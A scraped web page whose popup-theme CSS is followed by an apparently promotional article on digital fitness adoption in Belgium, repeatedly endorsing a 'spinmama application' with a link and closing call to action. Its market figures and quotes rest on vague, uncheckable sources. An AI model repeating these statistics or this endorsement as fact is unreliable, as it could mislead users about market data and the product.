.pum-theme-786 .pum-content + .pum-close, .pum-theme-framed-border .pum-content + .pum-close { position: absolute; height: 20px; width: 20px; left: auto; right: -20px; bottom: auto; top: -20px; padding: 0px; color: #ffffff; font-family: Tahoma; font-weight: 700; font-size: 16px; line-height: 18px; border: 1px none #ffffff; border-radius: 0px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.23 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.23 ); background-color: rgba( 0, 0, 0, 0.55 ) } 

/* Popup Theme 787: Floating Bar - Soft Blue */
.pum-theme-787, .pum-theme-floating-bar { background-color: rgba( 255, 255, 255, 0.00 ) } 
.pum-theme-787 .pum-container, .pum-theme-floating-bar .pum-container { padding: 8px; border-radius: 0px; border: 1px none #000000; box-shadow: 1px 1px 3px 0px rgba( 2, 2, 2, 0.23 ); background-color: rgba( 238, 246, 252, 1.00 ) } 
.pum-theme-787 .pum-title, .pum-theme-floating-bar .pum-title { color: #505050; text-align: left; text-shadow: 0px 0px 0px rgba( 2, 2, 2, 0.23 ); font-family: inherit; font-weight: 400; font-size: 32px; line-height: 36px } 
.pum-theme-787 .pum-content, .pum-theme-floating-bar .pum-content { color: #505050; font-family: inherit; font-weight: 400 } 
.pum-theme-787 .pum-content + .pum-close, .pum-theme-floating-bar .pum-content + .pum-close { position: absolute; height: 18px; width: 18px; left: auto; right: 5px; bottom: auto; top: 50%; padding: 0px; color: #505050; font-family: Sans-Serif; font-weight: 700; font-size: 15px; line-height: 18px; border: 1px solid #505050; border-radius: 15px; box-shadow: 0px 0px 0px 0px rgba( 2, 2, 2, 0.00 ); text-shadow: 0px 0px 0px rgba( 0, 0, 0, 0.00 ); background-color: rgba( 255, 255, 255, 0.00 ); transform: translate(0, -50%) } 

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#pum-1752 {z-index: 1999999999}

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<div class="entry-content wp-block-post-content is-layout-constrained wp-block-post-content-is-layout-constrained"><p>In an era where digital innovation influences nearly every facet of daily life, the fitness industry in Belgium is experiencing a significant transformation. Traditional gym memberships and in-person classes, once the primary mode of engagement, are now complemented—and in some cases replaced—by sophisticated digital solutions that empower users to maintain healthier lifestyles from their homes or on the go. Among these emerging tools, dedicated applications tailored for fitness tracking, community engagement, and personalized coaching are gaining remarkable traction, representing a paradigm shift in how consumers interact with their health.</p>
<h2>Digital Transformation and Consumer Expectations</h2>
<p>The Belgian fitness market, estimated to be valued at over €2 billion in 2023, reflects a growing consumer demand for convenience, personalization, and technological integration. According to industry reports by the Belgian Fitness Federation, over 65% of fitness consumers now prefer digital or hybrid content models as part of their wellness routines. This trend is driven by several factors:</p>
<ul>
<li><strong>Increased smartphone penetration</strong>: Belgium boasts a smartphone penetration rate exceeding 85%, facilitating instant access to mobile-based fitness solutions.</li>
<li><strong>Customization and data-driven insights</strong>: Users seek personalized workout plans that adapt to their progress, lifestyle, and preferences.</li>
<li><strong>Community and social motivation</strong>: Digital platforms foster community engagement, encouraging sustained participation through social features.</li>
</ul>
<h2>The Role of Specialized Fitness Applications in Belgium</h2>
<p>Amid this landscape, custom-designed fitness applications serve as hubs where users can track progress, access expert content, and participate in challenges. These platforms often integrate advanced features such as AI-driven coaching, nutrition planning, and wearable device compatibility, reshaping user expectations and engagement models.</p>
<p>One notable example flourishing in the Belgian market is the <a href="https://spinmama-belgique.com/"><strong>spinmama application</strong></a>. This app exemplifies how local startups are leveraging technology to meet the evolving needs of fitness enthusiasts. By offering tailored spinning classes, live streaming options, and community forums, the spinmama platform fosters an inclusive and motivating environment—both online and offline.</p>
<h2>Integrating the Spinmama Application into a Holistic Fitness Strategy</h2>
<p>As digital fitness solutions like the spinmama application continue to evolve, they serve as pivotal tools for:</p>
<ol>
<li><strong>Enhancing Accessibility:</strong> Enabling users to participate in fitness routines regardless of location or time constraints.</li>
<li><strong>Data-Driven Personalization:</strong> Collecting user metrics to tailor workouts and track progress seamlessly.</li>
<li><strong>Community Building:</strong> Fostering a sense of belonging through social challenges and live interactions.</li>
</ol>
<p>For fitness providers and entrepreneurs in Belgium, embracing such applications is no longer optional but essential for staying competitive in an increasingly digital world. Incorporating apps like spinmama into physical offerings can help bridge the gap between traditional fitness and innovative digital content, ultimately leading to more sustained engagement and better health outcomes.</p>
<h2>Industry Insights and Future Directions</h2>
<p>Recent surveys suggest that the integration of digital platforms in gyms and wellness centers could increase customer retention rates by over 30%. Additionally, with the Belgian government’s focus on promoting a healthier population—through initiatives such as the « Belgian Health Strategy 2023-2030&Prime;—digital solutions are expected to play a key role in public health campaigns.</p>
<table>
<caption style="margin-bottom: 1em; font-weight: bold; font-size: 1.2em;">Key Data on Digital Fitness Adoption in Belgium (2023)</caption>
<thead>
<tr>
<th>Metric</th>
<th>Data</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr class="highlight">
<td>Smartphone penetration</td>
<td>85%</td>
<td>Belgian Telecom Authority 2023</td>
</tr>
<tr>
<td>Fitness app usage</td>
<td>Over 4 million users</td>
<td>Market Research Belgium</td>
</tr>
<tr class="highlight">
<td>Hybrid gym memberships</td>
<td>40% of total memberships</td>
<td>European Fitness Report 2023</td>
</tr>
</tbody>
</table>
<h2>Conclusion: Embracing the Digital Future</h2>
<p>As Belgium continues to adapt to the digital age, applications like spinmama application exemplify how local innovation can meet global trends. Digital platforms are not merely supplementing traditional fitness but are redefining the very fabric of health engagement—making it more accessible, personalized, and community-oriented. Stakeholders who recognize this shift and integrate such solutions into their strategic vision will be best positioned to thrive in Belgium&rsquo;s increasingly competitive and health-conscious environment.</p>
<blockquote><p>
  « The future of fitness lies in the seamless integration of digital technology and personalized wellness, empowering individuals with the tools they need for a healthier life. » — Industry Expert, Digital Health Belgium
</p></blockquote>
<div class="callout">
<p>Interested in transforming your fitness approach? Explore the spinmama application to experience innovative, community-driven wellness solutions tailored for Belgium&rsquo;s vibrant fitness ecosystem.</p>
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